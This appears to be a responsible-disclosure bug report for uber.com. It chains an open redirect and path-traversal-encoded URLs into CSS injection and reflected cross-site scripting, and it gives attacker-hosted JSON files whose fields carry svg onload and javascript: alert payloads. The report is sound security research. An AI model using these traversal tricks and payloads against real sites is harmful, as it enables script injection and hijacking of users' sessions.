Reflected XSS via Unvalidated / Open Redirect in uber.com

Summary

This report demonstrates how much the usual Open Redirect can be dangerous.

Open Redirect

Open Redirect was reproduced from this URL: uber.com/en//example.com/ Response:

HTTP/1.1 301
...
Location: //example.com/

CSS injection

This vulnerability was reproduced via parameter theme from URL uber.com/?theme=../en//example.com/css-code.css%23 as follow:

<link rel="stylesheet" id="theme-css" href="https://uber.com/stylesheets/../en//example.com/css-code.css#.css">

Browser try to load CSS code from: example.com/css-code.css To fix @uber added whitelisting the theme names.

Reflected Cross-Site Scripting

This vulnerability was produced via insufficient filtration API requests.

Example URL to controlling API request: uber.com/careers/list/-CONTROLLED-/ Browser try to load JSON content from: uber.com/api/jobs/-CONTROLLED-

Sending API requests to another domain: uber.com/careers/list/..%2f..%2fen%2f%2fexample.com%2ffile.json/ Browser try to load JSON content from: uber.com/en//example.com/file.json >>> example.com/file.json

So, on a controlled domain, I placed a JSON file with this content:

{  
   "id":"9999",
   "title":"XSS on Uber.com",
   "overview":"<svg onload=\"alert('XSS on '+ document.domain)\">",
   "responsibilities":null,
   "qualifications":null,
   "lastUpdated":"2016-01-16 06:29 AM",
   "formattedTeam":"xss",
   "team":"xss",
   "subTeam":"xss",
   "formattedLocation":"xss",
   "slugs":{  
      "team":"xss",
      "subTeam":"xss",
      "city":"xss",
      "country":"xss"
   },
   "city":"xss",
   "country":"xss",
   "jobUrl":"javascript:alert('XSS on '+ document.domain)",
   "normalizedTitle":"xss",
   "normalizedContent":"xss"
}

and get unusually high degree of control over the page. Then I found a similar XSS vector on uber.com/cities/%252e%252e%2f%252e%252e%2fen%2f%2fexample.com%2ffile.json/. Browser try to load JSON content from: example.com/file.json Vulnerable JSON for uber.com/cities/-CONTROLLED-/:

{  
   "products":[  
      {  
         "productDisplayType":"uberx",
         "fare":{  
            "safeRideFee":"USD9999.99",
            "perMinute":"USD9999.99",
            "minimum":"USD9999.99",
            "cancellation":"USD9999.99",
            "fareType":"time_plus_distance",
            "base":"USD9999.99",
            "isDistanceUnitMetric":false,
            "perDistanceUnit":"USD9999.99",
            "additionalFees":[  

            ]
         },
         "displayName":"uberX",
         "tagline":"XSS",
         "taxiFareInfo":false,
         "finePrint":[  
            "XSS"
         ]
      },
      {  
         "productDisplayType":"uberxl",
         "fare":{  
            "safeRideFee":"USD9999.99",
            "perMinute":"USD9999.99",
            "minimum":"USD9999.99",
            "cancellation":"USD9999.99",
            "fareType":"time_plus_distance",
            "base":"USD9999.99",
            "isDistanceUnitMetric":false,
            "perDistanceUnit":"USD9999.99",
            "additionalFees":[  

            ]
         },
         "displayName":"uberXL",
         "tagline":"XSS",
         "taxiFareInfo":false,
         "finePrint":[  
            "XSS"
         ]
      }
   ],
   "flatRates":[  

   ],
   "id":9999,
   "cityId":9999,
   "flatRateDisplayNames":[  

   ],
   "geoJson":null,
   "geoPoint":{  
      "latitude":33.951252,
      "longitude":-83.382943
   },
   "slug":"xss",
   "twitterHandle":null,
   "theme":{  
      "name":"united_states",
      "ctaColor":"#57AD57",
      "patternColor":"#4DB5D9",
      "patternColorBackground":"#A6DAEC"
   },
   "rideContent":"XSS",
   "driveContent":"XSS",
   "impactContent":"XSS",
   "name":"<marquee>XSS</marquee><svg onload=\"alert('XSS on '+ document.domain)\">",
   "pageTitle":"XSS",
   "pageDescription":"XSS",
   "productLegalNotice":null,
   "pageConfiguration":{  

   }
}